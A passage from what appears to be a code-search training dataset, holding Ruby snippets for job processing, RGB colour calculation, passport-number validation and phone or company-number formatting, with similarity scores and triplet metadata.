"def perform( file_set,\n repository_file_id,\n filepath = nil,\n continue_job_chain: true,\n continue_job_chain_later: true,\n current_user: nil,\n delete_input_file: true,\n parent_job_id: nil,\n uploaded_file_ids: [] )\n\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"file_set=#{file_set})\",\n \"repository_file_id=#{repository_file_id}\",\n \"filepath=#{filepath}\",\n \"continue_job_chain=#{continue_job_chain}\",\n \"continue_job_chain_later=#{continue_job_chain_later}\",\n \"current_user=#{current_user}\",\n \"delete_input_file=#{delete_input_file}\",\n \"parent_job_id=#{parent_job_id}\",\n \"uploaded_file_ids=#{uploaded_file_ids}\",\n \"\" ] if characterize_job_debug_verbose\n user_id = user_id_from current_user\n find_or_create_job_status_started( parent_job_id: parent_job_id,\n continue_job_chain_later: continue_job_chain_later,\n user_id: user_id,\n verbose: characterize_job_debug_verbose )\n # job_status.add_message!( \"#{self.class.name}.perform: #{repository_file_id}\" ) if job_status.verbose\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n # \"file_set=#{file_set})\",\n # \"repository_file_id=#{repository_file_id}\",\n # \"filepath=#{filepath}\",\n # \"continue_job_chain=#{continue_job_chain}\",\n # \"continue_job_chain_later=#{continue_job_chain_later}\",\n # \"current_user=#{current_user}\",\n # \"delete_input_file=#{delete_input_file}\",\n # \"parent_job_id=#{parent_job_id}\",\n # \"uploaded_file_ids=#{uploaded_file_ids}\",\n \"job_status=#{job_status}\",\n \"\" ] if characterize_job_debug_verbose\n ::Deepblue::IngestHelper.characterize( file_set,\n repository_file_id,\n filepath,\n continue_job_chain: continue_job_chain,\n continue_job_chain_later: continue_job_chain_later,\n current_user: current_user,\n delete_input_file: delete_input_file,\n job_status: job_status,\n uploaded_file_ids: uploaded_file_ids )\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"file_set.id=#{file_set.id}\",\n \"current_user=#{current_user}\",\n \"filepath=#{filepath}\",\n \"uploaded_file_ids=#{uploaded_file_ids}\",\n \"parent_job_id=#{parent_job_id}\",\n \"job_status=#{job_status}\",\n \"job_status.job_id=#{job_status.job_id}\",\n \"job_status.job_class=#{job_status.job_class}\",\n \"job_status.status=#{job_status.status}\",\n \"job_status.state=#{job_status.state}\",\n \"job_status.message=#{job_status.message}\",\n \"job_status.error=#{job_status.error}\",\n \"job_status.user_id=#{job_status.user_id}\",\n \"\" ] if characterize_job_debug_verbose\n rescue Exception => e # rubocop:disable Lint/RescueException\n log_error \"CharacterizeJob.perform(#{file_set},#{repository_file_id},#{filepath}) #{e.class}: #{e.message}\"\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"file_set.id=#{file_set.id}\",\n \"current_user=#{current_user}\",\n \"filepath=#{filepath}\",\n \"uploaded_file_ids=#{uploaded_file_ids}\",\n \"parent_job_id=#{parent_job_id}\",\n \"job_status=#{job_status}\",\n \"job_status.job_id=#{job_status.job_id}\",\n \"job_status.job_class=#{job_status.job_class}\",\n \"job_status.status=#{job_status.status}\",\n \"job_status.state=#{job_status.state}\",\n \"job_status.message=#{job_status.message}\",\n \"job_status.error=#{job_status.error}\",\n \"job_status.user_id=#{job_status.user_id}\",\n \"\" ] + e.backtrace[0..8] if characterize_job_debug_verbose\n end",
"def resume_job!(job, data)\n job.save! do\n Burstflow::Worker.perform_later(workflow.id, job.id, data)\n end\n end",
"def before_processing_hook(msg, connection)\n original_action = request.action\n task = request[:task]\n\n begin\n if [\"run_and_wait\", \"run_no_wait\"].include?(original_action) && task\n request.action = task\n\n begin\n authorization_hook(request) if respond_to?(\"authorization_hook\")\n rescue\n raise(RPCAborted, \"You are not authorized to run Bolt Task %s\" % task)\n end\n\n audit_request(request, connection)\n end\n ensure\n request.action = original_action\n end\n end",
"def before_perform_pause(*args)\n if ResquePauseHelper.paused?(@queue)\n Kernel.sleep(@pause_check_interval || Resque::Plugins::Pause::PAUSE_CHECK_INTERVAL)\n ResquePauseHelper.check_paused(:queue => @queue, :class => self, :args => args)\n end\n end",
"def job(job,params={})\n if (@job[extract_job(job)] && !params[:force])\n return @job[extract_job(job)]\n end\n @job[extract_job(job)] = get_job(job)\n end",
"def abort_on_exception=(_arg0); end",
"def enqueue(*args)\n enqueue_job(new_job(*args))\n end",
"def perform\n throw :quit\n end",
"def perform\n throw :quit\n end"
] |
[
"0.72591966",
"0.6998915",
"0.67044365",
"0.6281824",
"0.61151856",
"0.58308643",
"0.5827616",
"0.58040285",
"0.5790611",
"0.57898456",
"0.5669318",
"0.562479",
"0.5598278",
"0.55628294",
"0.55579007",
"0.5505988",
"0.54788357",
"0.54226345",
"0.5406328",
"0.5389668",
"0.5347026",
"0.53415763",
"0.53234166",
"0.531398",
"0.5313911",
"0.5297676",
"0.5282544",
"0.52459353",
"0.5235614",
"0.5186948",
"0.5185036",
"0.5168048",
"0.51488686",
"0.5145189",
"0.51358813",
"0.5115231",
"0.5090687",
"0.50781816",
"0.50477695",
"0.5041225",
"0.5019011",
"0.5005119",
"0.5004786",
"0.49900785",
"0.49886084",
"0.49837875",
"0.49743256",
"0.49726778",
"0.49602094",
"0.4958592",
"0.4957625",
"0.4955282",
"0.49289423",
"0.49204236",
"0.49162486",
"0.49122488",
"0.489229",
"0.4874302",
"0.48701635",
"0.4866693",
"0.486303",
"0.48618466",
"0.48618466",
"0.48445296",
"0.48403195",
"0.48300794",
"0.4820827",
"0.4819862",
"0.48088372",
"0.48087624",
"0.48087624",
"0.48087624",
"0.48087624",
"0.48073593",
"0.48031586",
"0.47958994",
"0.47958994",
"0.47936234",
"0.47922444",
"0.47917286",
"0.4786684",
"0.4786468",
"0.4772072",
"0.47622156",
"0.4757939",
"0.475134",
"0.47491026",
"0.47396222",
"0.4736194",
"0.4724129",
"0.47201872",
"0.47183913",
"0.47131306",
"0.4708073",
"0.4707568",
"0.47049773",
"0.47010458",
"0.4696802",
"0.4690234",
"0.4690234"
] |
0.60123044
|
5
|
The RGB value at position X
|
def at(x)
m = 1.0 * MAX_SEGMENTS * x
n = m.to_i # integer of m
f = m - n # Fraction of m
t = (f * 255).to_i
#puts "m: #{m} \tn: #{n} \tf: #{f} \tt: #{t}"
case n
when 0
[255, t, 0]
when 1
[255 - t, 255, 0]
when 2
[0, 255, t]
when 3
[0, 255 - t, 255]
when 4
[t, 0, 255]
when 5
[255, 0, 255 - t]
else
[255, 0, 0]
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def [](x, y)\n get_pixel_color(x, y)\n end",
"def get_rgb_point(hue, chroma, x)\n case hue\n when 0...1 then [chroma, x, 0]\n when 1...2 then [x, chroma, 0]\n when 2...3 then [0, chroma, x]\n when 3...4 then [0, x, chroma]\n when 4...5 then [x, 0, chroma]\n when 5...6 then [chroma, 0, x]\n # HUE will never leave the 0..359 range because we use (hue % 360)\n # else [0, 0, 0]\n end\n end",
"def rgb_color( a, b, i, x)\n return nil if i <= 1 or x <= 1\n return a - ( Math.log(i) * ( a - b ) / Math.log(x) ).floor if a > b\n ( Math.log(i) * ( b - a ) / Math.log(x) + a ).floor\n end",
"def rgb_color; end",
"def color_at(x, y)\n Color.new(pixel(x, y))\n end",
"def get_pixel_colour( x, y )\n p = base_image.pixel_color( x, y )\n [ p.red, p.green, p.blue, p.opacity ]\n end",
"def color(x, y)\n Pietr::Color.color_code(ChunkyPNG::Color.to_hex(@image[x, y]))\n rescue Exception\n -1\n end",
"def r; self.color.r end",
"def to_rgb\n\t\t\tXYZ.new(to_xyz).to_rgb\n\t\tend",
"def rgb_value(red, green, blue)\n [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) \n end",
"def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end",
"def color_at(x,y)\n png[x, y]\n end",
"def red\n (rgba & 0xFF0000) >> 16\n end",
"def get_pixel_color(x, y, hex = false)\n @functions[__method__] ||= AU3_Function.new(\"PixelGetColor\", 'LL', 'L')\n res = @functions[__method__].call(x, y)\n return \"#\" + res.to_s(16).upcase if hex\n res\n end",
"def rgb\n self\n end",
"def colours_pixel(x, y, colour)\n pixel = Image::Pixel.new x.to_i, y.to_i\n @image.colorize pixel, colour\n end",
"def red\n ((hex_color & RED) >> 16) / MAX_RGB_VALUE * 100\n end",
"def rgb_color\n Array.new(3) { single_rgb_color }\n end",
"def rgb\n value = if successes < current\n 0\n else\n (255.0 * (@current.to_f / (successes.to_f + 1.0))).round\n end\n red = (255 - value).to_s(16).ljust(2, \"0\")\n green = value.to_s(16).rjust(2, \"0\")\n blue = 0.to_s(16).rjust(2, \"0\")\n \"\" << red << green << blue\n end",
"def color_pixel(x, y, color)\n x_index = x.to_i - 1\n y_index = y.to_i - 1\n bitmap.set_pixel_to({x: x_index, y: y_index}, color)\n end",
"def argb(index)\n @image.getARGB(index)\n end",
"def get x, y\n @pixels[pixel(x,y)]\n end",
"def argb_at(x,y)\n @image.getARGB(point_to_index(x,y))\n end",
"def [](x, y)\n pixel2color(get_pixel(x, y))\n end",
"def background_colour\n @cr[0xf] >> 4\n end",
"def rgb(r, g, b)\n \"%.2X%.2X%.2X\" % [r,g,b].map{|i| [[i,255].min,0].max}\nend",
"def rgb(r, g, b)\n r << 24 | g << 16 | b << 8 | 0xff\n end",
"def rgb(r, g, b)\n r << 24 | g << 16 | b << 8 | 0xff\n end",
"def get_color(gray_pixel)\n Color.r(gray_pixel)\nend",
"def pixel_x; @x / PIXEL_WIDTH; end",
"def pixel_x; @x / PIXEL_WIDTH; end",
"def color_image_pixel\n @pixel_x = @cmd_options[0]-1\n @pixel_y = @cmd_options[1]-1\n @color = @cmd_options[2]\n @matrix[@pixel_y][@pixel_x] = @color\n end",
"def to_rgb\n middle = @rgb.to_a[0..2].map(&:round).join(', ')\n\n with_alpha(:rgb, middle)\n end",
"def rgb_value(red, green, blue)\n gray_possible = true\n sep = 42.5\n\n while gray_possible\n if red < sep || green < sep || blue < sep\n gray = red < sep && green < sep && blue < sep\n gray_possible = false\n end\n sep += 42.5\n end\n\n if gray\n \";5;#{ 232 + ((red.to_f + green.to_f + blue.to_f)/33).round }\"\n else # rgb\n \";5;#{ [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) }\"\n end\n end",
"def pixel(x, y)\n validate_coordinates!(x, y)\n\n area.pixel(x, y).color\n end",
"def rgb\n h = self.h\n s = self.s\n l = self.l\n # Some simple corrections for h, s and l. */\n h = h % 360\n h += 360 if (h < 0)\n s = [0, [s, 1].min].max\n l = [0, [l, 1].min].max\n \n # From FvD 13.37, CSS Color Module Level 3 \n m2 = (l <= 0.5) ? (l * (1 + s)) : (l + s - l * s)\n m1 = 2 * l - m2\n v=lambda {|h1|\n if (h1 > 360)\n h1 -= 360\n elsif (h1 < 0)\n h1 += 360\n end\n \n \n return m1 + (m2 - m1) * h1 / 60.0 if (h1 < 60.0)\n return m2 if (h1 < 180.0) \n return m1 + (m2 - m1) * (240.0 - h1) / 60.0 if (h1 < 240.0)\n return m1\n }\n \n vv=lambda {|h1| (v.call(h1) * 255).round}\n Rubyvis.rgb(vv.call(h + 120), vv.call(h), vv.call(h - 120), a)\n \n end",
"def rgb(red, green, blue, background = false)\n if mode == 8 || mode == 16\n \"#{background ? 4 : 3}#{rgb_like_value(red, green, blue, mode == 16)}\"\n else\n \"#{background ? 48 : 38}#{rgb_value(red, green, blue)}\"\n end\n end",
"def rgb\n if Configuration.colour_mode == 16777216\n sprintf(\"\\e[38;2;%s;%s;%sm\", *css_to_rgb)\n\n else\n numbered\n\n end\n end",
"def light_pen_x\n @cr[6]\n end",
"def color_pixel(x, y, color)\n raise InvalidColorError.new(color) unless valid_color?(color)\n raise OutOfBoundsError.new(x.to_i, y.to_i, width, height) unless pixel_valid?(x.to_i, y.to_i)\n\n grid[y.to_i - 1][x.to_i - 1] = color\n end",
"def a(val=nil)\n if not val\n return self[3]\n else\n return Color[ self.r, self.g, self.b, val ]\n end\n end",
"def rgb(red, green, blue, background = false)\n \"#{background ? 48 : 38}#{rgb_value(red, green, blue)}\"\n end",
"def rgb(r, g, b)\n \"#{to_hex r}#{to_hex g}#{to_hex b}\"\nend",
"def rgb_value(red, green, blue)\n gray_possible = true\n sep = 42.5\n\n while gray_possible\n if red < sep || green < sep || blue < sep\n gray = red < sep && green < sep && blue < sep\n gray_possible = false\n end\n sep += 42.5\n end\n\n if gray\n \";5;#{ 232 + ((red.to_f + green.to_f + blue.to_f)/33).round }\"\n else # rgb\n \";5;#{ [16, *[red, green, blue].zip([36, 6, 1]).map{ |color, mod|\n (6 * (color.to_f / 256)).to_i * mod\n }].inject(:+) }\"\n end\n end",
"def rgb\n [red, green, blue].freeze\n end",
"def rgb\n [red, green, blue].freeze\n end",
"def rgb(red, green, blue, background = false)\n \"#{background ? 48 : 38};5;#{rgb_value(red, green, blue)}\"\n end",
"def pixel_x_at(x)\n\t\t(block_size * x) + @x_offset + block_size\n\tend",
"def rgb\n generate.collect do |color|\n color.collect(&:to_i)\n end\n end",
"def green\n (rgba & 0x00FF00) >> 8\n end",
"def to_rgb\n [@red, @green, @blue]\n end",
"def to_rgb\n self.to_xyz.to_rgb(Profile::SRGB_D50)\n end",
"def to_i\n if self.red && self.green && self.blue\n red = (self.red * 255).round << 16\n green = (self.green * 255).round << 8\n blue = (self.blue * 255).round\n return red + green + blue\n else\n return nil\n end\n end",
"def pixel_at x, y\n pixel_base = 3 * (@width * y + x)\n (0..2).map {|i| @data[ pixel_base + i] }\n end",
"def color2pixel(color)\n color.rgba\n end",
"def hex_color\n return @hex_color\n end",
"def value(newval=nil)\n if not newval\n return self.hsva[2]\n else\n hsva = self.hsva\n hsva[2] = newval\n return Color.hsva( *hsva )\n end\n end",
"def rgb(*args); end",
"def rgb(*args); end",
"def green\n ((hex_color & GREEN) >> 8) / MAX_RGB_VALUE * 100\n end",
"def rgb_color(r,g,b)\n rgba_color(r,g,b,1)\n end",
"def color_pixel(x, y, color)\n return unless pixel_exists?(x, y)\n bitmap[y.to_i - 1][x.to_i - 1] = color\n end",
"def to_i\n return self.alpha.to_i << 24 | self.blue.to_i << 16 | self.green.to_i << 8 | self.red.to_i\n end",
"def color_rgb\n return nil if self.color_red.blank? || self.color_green.blank? || self.color_blue.blank?\n [self.color_red, self.color_green, self.color_blue]\n end",
"def hex_color\n self.color_hex\n end",
"def auxiliary_colour\n @cr[0xe] >> 4\n end",
"def g(val=nil)\n if not val\n return self[1]\n else\n return Color[ self.r, val, self.b, self.a ]\n end\n end",
"def r(val=nil)\n if not val\n return self[0]\n else\n return Color[ val, self.g, self.b, self.a ]\n end\n end",
"def svg\n values = self[0..2].map do |v|\n v = Range.O.trim( v )\n (255.0 * v).to_i \n end\n return \"rgb(#{values.join(\",\")})\"\n end",
"def to_rgb\n x,y,z = lab_to_xyz(@l,@a,@b)\n r,g,b = xyz_to_rgb(x,y,z)\n end",
"def unified_rgb_value(number)\n if defined?(Magick::QuantumDepth)\n return (Magick::QuantumDepth == 16) ? (number / 256) : number\n else\n return (Magick::QuantumRange == 65535) ? (number / 256) : number\n end\n end",
"def b(val=nil)\n if not val\n return self[2]\n else\n return Color[ self.r, self.g, val, self.a ]\n end\n end",
"def round_rgb_color(value)\n if value > 255\n 255\n elsif value < 0\n 0\n else\n value\n end\n end",
"def x\n @hex.x\n end",
"def r\n\t\t\tColor.r(@color)\n\t\tend",
"def get_pixel(x, y)\n ::GD2::GD2FFI.send(:gdImageGetPixel, @image_ptr, x.to_i, y.to_i)\n end",
"def color_at(point)\n point = SugarCube::CoreGraphics::Point(point)\n point.x *= self.scale\n point.y *= self.scale\n\n # First get the image into your data buffer\n cgimage = self.CGImage\n width = CGImageGetWidth(cgimage)\n height = CGImageGetHeight(cgimage)\n bytes_per_pixel = 4\n bits_per_component = 8\n bytes_per_row = bytes_per_pixel * width\n @raw_data || begin\n color_space = CGColorSpaceCreateDeviceRGB()\n @raw_data = Pointer.new(:uchar, height * width * 4)\n context = CGBitmapContextCreate(@raw_data, width, height, bits_per_component, bytes_per_row, color_space, KCGImageAlphaPremultipliedLast | KCGBitmapByteOrder32Big)\n\n CGContextDrawImage(context, CGRectMake(0, 0, width, height), cgimage)\n end\n\n # Now @raw_data contains the image data in the RGBA8888 pixel format.\n xx = point.x.round\n yy = point.y.round\n byte_index = (bytes_per_row * yy) + xx * bytes_per_pixel\n red = @raw_data[byte_index]\n green = @raw_data[byte_index + 1]\n blue = @raw_data[byte_index + 2]\n alpha = @raw_data[byte_index + 3]\n return [red, green, blue].uicolor(alpha / 255.0)\n end",
"def colour(x, y, c)\n x, y = x.to_i, y.to_i\n\n unless self.bounds?(x, y)\n puts \"ERR: Coordinates out of bounds\"\n return\n end\n\n self[y, x] = c\n end",
"def rgb(red, green, blue, background = false)\n case @mode\n when 8\n \"#{background ? 4 : 3}#{rgb_to_ansi(red, green, blue, false)}\"\n when 16\n \"#{background ? 4 : 3}#{rgb_to_ansi(red, green, blue, true)}\"\n when 256\n \"#{background ? 48 : 38}#{rgb_to_256(red, green, blue)}\"\n when TRUE_COLOR\n \"#{background ? 48 : 38}#{rgb_true(red, green, blue)}\"\n end\n end",
"def rgb\n raise NotImplementedError, 'Overwrite the method in a subclass'\n end",
"def point_to_index(x,y)\n return (x*(bpp >> 3))+(y*((bpp >> 3)*(width)))\n end",
"def y\n @hex.y\n end",
"def set_pixel(pos, color, brightness = @brightness)\n idx = pos * 4\n if color.is_a?(Integer)\n @led_frames[idx] = led_frame_hdr(brightness)\n @led_frames[idx + @led_frame_rgb_offsets[:red]] = (color & 0xFF0000) >> 16\n @led_frames[idx + @led_frame_rgb_offsets[:green]] = (color & 0x00FF00) >> 8\n @led_frames[idx + @led_frame_rgb_offsets[:blue]] = (color & 0x0000FF)\n elsif color.is_a?(Array)\n @led_frames[idx] = led_frame_hdr(brightness)\n @led_frames[idx + @led_frame_rgb_offsets[:red]] = color[0]\n @led_frames[idx + @led_frame_rgb_offsets[:green]] = color[1]\n @led_frames[idx + @led_frame_rgb_offsets[:blue]] = color[2]\n else\n raise 'Invalid color'\n end\n end",
"def to_rgb(hex)\n\t\thex = hex.to_s(16) if hex.is_a?(Numeric)\n\t\tr = hex[0...2].to_i(16)\n\t\tg = hex[2...4].to_i(16)\n\t\tb = hex[4...6].to_i(16)\n\t\treturn r, g, b\n\tend",
"def blue\n rgba & 0x0000FF\n end",
"def red(r1)\n Rubyvis.rgb(r1,g,b,a)\n end",
"def x\n return @background.x\n end",
"def binary\n r, g, b, a = self.to_a\n sum = r + g + b\n return (sum < 382)? self.new_extended_color([0,0,0,a]) : self.new_extended_color([255,255,255,a])\n end",
"def get_pixel(row: 0, col: 0, color: \"W\")\n raise Useditor::Workspace::PixelLocationError.new(\"Row out of bounds\") if row < 0 || row > (@rows -1)\n raise Useditor::Workspace::PixelLocationError.new(\"Col out of bounds\") if col < 0 || col > (@cols -1)\n @image[row][col]\n end",
"def hex_at_xy(x, y)\n q = (x * Math.sqrt(3)/3.0 - y/3.0) / @hex_ray\n r = y * 2.0/3.0 / @hex_ray\n hex = AxialHex.new(q, r).round\n cget( hex.q, hex.r )\n end",
"def push(x)\n @memory[memory_position] = Color.new(x.to_i)\n end",
"def rgb_color(rgb)\n r, g, b = rgb\n result = sprintf(\"%02x%02x%02x\", r, g, b)\n result = \"#{::Regexp.last_match(1)}#{::Regexp.last_match(2)}#{::Regexp.last_match(3)}\" if result =~ /^([0-9a-f])\\1([0-9a-f])\\2([0-9a-f])\\3$/\n result\n end",
"def *( scalar )\n return Color[ self.r * scalar,\n self.g * scalar,\n self.b * scalar,\n self.a * scalar ]\n end",
"def get_color_code\n\t\t{ r: @term_hex[0], g: @term_hex[1], b: @term_hex[2], alpha: @term_hex[-1] }\n\tend",
"def rgb(red, green, blue, alpha = Shoes::Color::OPAQUE)\n Shoes::Color.new(red, green, blue, alpha)\n end",
"def rgb(red, green, blue, alpha = Shoes::Color::OPAQUE)\n Shoes::Color.new(red, green, blue, alpha)\n end",
"def blue\n (hex_color & BLUE) / MAX_RGB_VALUE * 100\n end",
"def get_tile_color(x, y)\n 0xffffffff\n end",
"def rgb_to_hex(pixel_color)\n \"##{to_hex (pixel_color.red / 257)}#{to_hex (pixel_color.green / 257)}#{to_hex (pixel_color.blue / 257)}\"\nend",
"def value(x, y)\n @grid[x][y].value\n end"
] |
[
"0.7031871",
"0.69783276",
"0.6930144",
"0.691593",
"0.6872396",
"0.6868721",
"0.68249416",
"0.67851305",
"0.6774456",
"0.67683727",
"0.6731148",
"0.66953063",
"0.6681526",
"0.6674518",
"0.66638625",
"0.6662558",
"0.66016954",
"0.654215",
"0.6527913",
"0.65197766",
"0.6513891",
"0.6506867",
"0.6494501",
"0.6482826",
"0.63900423",
"0.63854635",
"0.6357071",
"0.6357071",
"0.63481575",
"0.6328343",
"0.6328343",
"0.6327068",
"0.6320118",
"0.63182306",
"0.6302695",
"0.62891984",
"0.62712514",
"0.6269882",
"0.62472284",
"0.6219168",
"0.62171495",
"0.6213278",
"0.62004465",
"0.61985046",
"0.61959493",
"0.61959493",
"0.6190766",
"0.6184287",
"0.61832887",
"0.6179054",
"0.6176471",
"0.6140908",
"0.6129323",
"0.6127971",
"0.61267924",
"0.6121772",
"0.61208946",
"0.6084957",
"0.6084957",
"0.60742027",
"0.60738486",
"0.6066042",
"0.60485476",
"0.6002938",
"0.59794605",
"0.5970488",
"0.59599304",
"0.5958457",
"0.5955184",
"0.5951358",
"0.5950218",
"0.5940596",
"0.59334004",
"0.5932186",
"0.59256333",
"0.5916239",
"0.59110636",
"0.5896516",
"0.5881197",
"0.58734626",
"0.5866016",
"0.58660114",
"0.5863505",
"0.58592105",
"0.58357817",
"0.582818",
"0.5823448",
"0.58102727",
"0.5804376",
"0.5801547",
"0.5799019",
"0.5798502",
"0.5797468",
"0.5793586",
"0.5780313",
"0.5780313",
"0.57681835",
"0.5762285",
"0.5745766",
"0.57414335"
] |
0.6297064
|
35
|
UK format is simply 9 digits
|
def valid_passport_number?(value)
value =~ /^[0-9]{9}$/
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def international_toll_free_number\n FFaker.numerify('800 ### ####')\n end",
"def swedish_organisation_number\n # Valid leading digit: 1, 2, 3, 5, 6, 7, 8, 9\n # Valid third digit: >= 2\n # Last digit is a control digit\n base = [sample([1, 2, 3, 5, 6, 7, 8, 9]), sample((0..9).to_a), sample((2..9).to_a), format('%06d', rand(10**6))].join\n base + luhn_algorithm(base).to_s\n end",
"def czech_organisation_number; end",
"def spanish_citizen_number; end",
"def brazilian_company_number(formatted: T.unsafe(nil)); end",
"def norwegian_organisation_number; end",
"def norwegian_organisation_number\n # Valid leading digit: 8, 9\n mod11_check = nil\n while mod11_check.nil?\n base = [sample([8, 9]), format('%07d', rand(10**7))].join\n mod11_check = mod11(base)\n end\n base + mod11_check.to_s\n end",
"def spanish_foreign_citizen_number; end",
"def format; :n3; end",
"def toll_free_number\n FFaker.numerify('1800 ### ####')\n end",
"def display_number\n \"XXXX-XXXX-XXXX-#{last_digits}\"\n end",
"def display_number\n \"XXXX-XXXX-XXXX-#{last_digits}\"\n end",
"def south_african_listed_company_registration_number\n generate(:string) do |g|\n g.int(length: 4)\n g.lit('/')\n g.int(ranges: [1000..9_999_999_999])\n g.lit('/06')\n end\n end",
"def as_euro; end",
"def swedish_organisation_number; end",
"def international\n return \"+#{sanitized}\" unless valid?\n\n format = @data[country][:format]\n if matches = @national_number.match(/#{format[Core::PATTERN]}/)\n fmt = format[:intl_format] || format[:format]\n national = fmt.gsub(/\\$\\d/) { |el| matches[el[1].to_i] }\n else\n national = @national_number\n end\n\n \"+#{@data[country][Core::COUNTRY_CODE]} #{national}\"\n end",
"def premium_service_number\n FFaker.numerify('1900 ### ####')\n end",
"def french_siret_number\n location = rand(100).to_s.rjust(4, '0')\n org_no = french_siren_number + location\n org_no + luhn_algorithm(org_no).to_s\n end",
"def brazilian_company_number(formatted: false)\n digits = Array.new(8) { Faker::Number.digit.to_i } + [0, 0, 0, Faker::Number.non_zero_digit.to_i]\n\n factors = [5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2, 6].cycle\n\n 2.times do\n checksum = digits.inject(0) { |acc, digit| acc + digit * factors.next } % 11\n digits << (checksum < 2 ? 0 : 11 - checksum)\n end\n\n number = digits.join\n\n formatted ? format('%s.%s.%s/%s-%s', *number.scan(/(\\d{2})(\\d{3})(\\d{3})(\\d{4})(\\d{2})/).flatten) : number\n end",
"def french_siret_number; end",
"def french_siren_number; end",
"def australian_business_number\n base = format('%09d', rand(10**9))\n abn = \"00#{base}\"\n\n (99 - (abn_checksum(abn) % 89)).to_s + base\n end",
"def phone_number(nr)\n country_code = AppConfig['contact_info.default_country_code'].to_s\n Phone.parse(nr, :country_code => country_code).format(:europe)\n rescue\n return nr\n end",
"def century_name_ending(number)\n if number[-2] == '1' # 10-19 are last two digits\n 'th'\n else\n case number[-1]\n when '0', '4', '5', '6', '7', '8', '9' then 'th'\n when '1' then 'st'\n when '2' then 'nd'\n when '3' then 'rd'\n end\n end\nend",
"def npa_format\n strfphone(NPA_FORMAT)\n end",
"def country_code_long; end",
"def national\n return @national_number unless valid?\n format, prefix, rule = get_formatting_data\n\n # add space to format groups, change first group to rule,\n # change rule's constants to values\n format_string = format[:format].gsub(/(\\d)\\$/, '\\\\1 $').gsub('$1', rule)\n .gsub(/(\\$NP|\\$FG)/, '$NP' => prefix, '$FG' => '$1')\n\n if matches = @national_number.match(/#{format[Core::PATTERN]}/)\n format_string.gsub(/\\$\\d/) { |el| matches[el[1].to_i] }\n else\n @national_number\n end\n end",
"def format_order_number(number)\n number.to_s.gsub(/[A-Z]/, '').rjust(12, \"0\")\n end",
"def number_with_formatting\n if /^(.*)(.{6})(.{6})(.{6})(.{6})(.{6})/i.match(number_without_formatting)\n \"#{$1}-#{$2}-#{$3}-#{$4}-#{$5}-#{$6}\"\n else\n number_without_formatting\n end\n end",
"def international_phone\n \"011-#{rand(100) + 1}-#{rand(100)+10}-#{rand(10000)+1000}\"\n end",
"def display_str_for_early_numeric\n return unless orig_date_str.match(EARLY_NUMERIC)\n # return 1 B.C. when the date is 0 since there is no 0 year\n return '1 B.C.' if orig_date_str == '0'\n # negative number becomes B.C.\n return \"#{orig_date_str[1..-1].to_i + 1} B.C.\" if orig_date_str =~ /^\\-/\n\n # remove leading 0s from early dates\n \"#{orig_date_str.to_i} A.D.\"\n end",
"def test_that_it_adds_the_default_country\n hash = PigeonBand.format(\"1-1-1\")\n assert_equal \"DE\", hash[:code]\n end",
"def french_siren_number\n base = (1..8).map { rand(10) }.join\n base + luhn_algorithm(base).to_s\n end",
"def french_insee_number; end",
"def phone_number_with_country_code; end",
"def routing_number_with_format; end",
"def to_international\n if extension?\n \"+49 #{@prefix} #{number}/#{extension}\"\n else\n \"+49 #{@prefix} #{number}\"\n end\n end",
"def from_french(num)\nend",
"def display_str_for_century\n return unless orig_date_str\n return if orig_date_str =~ /B\\.C\\./\n\n century_str_matches = orig_date_str.match(CENTURY_WORD_REGEXP)\n return century_str_matches.to_s if century_str_matches\n\n century_matches = orig_date_str.match(CENTURY_4CHAR_REGEXP)\n if century_matches\n require 'active_support/core_ext/integer/inflections'\n return \"#{($1.to_i + 1).ordinalize} century\"\n end\n end",
"def iso_code; end",
"def iso_code; end",
"def set_last_digits\n end",
"def south_african_close_corporation_registration_number\n generate(:string) do |g|\n g.oneof do |one|\n one.group do |g_|\n g_.lit('CK')\n g_.int(length: 2)\n end\n one.int(length: 4)\n end\n g.lit('/')\n g.int(ranges: [1000..9_999_999_999])\n g.lit('/23')\n end\n end",
"def internationalized_phone_number(phone_number)\n \t\"+1#{phone_number}\"\n end",
"def grn_no_format\n grn_no.to_s.rjust(5, INOCRM_CONFIG[\"inventory_grn_no_format\"])\n end",
"def convert9\r\n @phone.split(\"\").each do |c|\r\n c = 9 if @num_list.include?(c)\r\n @formatted_phone += c.to_s\r\n end\r\n end",
"def south_african_trust_registration_number\n generate(:string) do |g|\n g.lit('IT')\n g.int(ranges: [10..9999])\n g.lit('/')\n g.int(ranges: [10..9_999_999_999])\n end\n end",
"def format_phone num\n num.insert(3, '-').insert(7, '-')\n end",
"def gsubber(money)\n money.split(/^[\\D|$]{2,3}/).pop\n money.gsub!(/^[\\D|$]{2,3}/,'')\n money.gsub!(/k$/i,'000')\n money.gsub!(/,/,'')\n money.gsub!(/\\.0+/,'')\n end",
"def format_order_number(number)\n number.to_s.gsub(/[^\\w_]/, '').rjust(4, \"0\")[0...20]\n end",
"def format_order_number(number)\n number.to_s.gsub(/[^\\w]/, '').rjust(4, '0')[0...20]\n end",
"def south_african_pty_ltd_registration_number\n generate(:string) do |g|\n g.int(length: 4)\n g.lit('/')\n g.int(ranges: [1000..9_999_999_999])\n g.lit('/07')\n end\n end",
"def to_s\n account_number.gsub(/(\\d{2})(\\d{2})(\\d{2})(\\d{3})/, '\\1.\\2.\\3.\\4')\n end",
"def format_number(number)\n re = Regexp.new(Lokii::Config.format_numbers)\n number = number.gsub(re, '')\n number = \"#{Lokii::Config.number_country_code}#{Lokii::Config.number_prefix}#{number}\" if number =~ /^\\d{#{Lokii::Config.number_length}}$/\n number = \"+#{number.gsub(/\\+/, '')}\"\n number\n end",
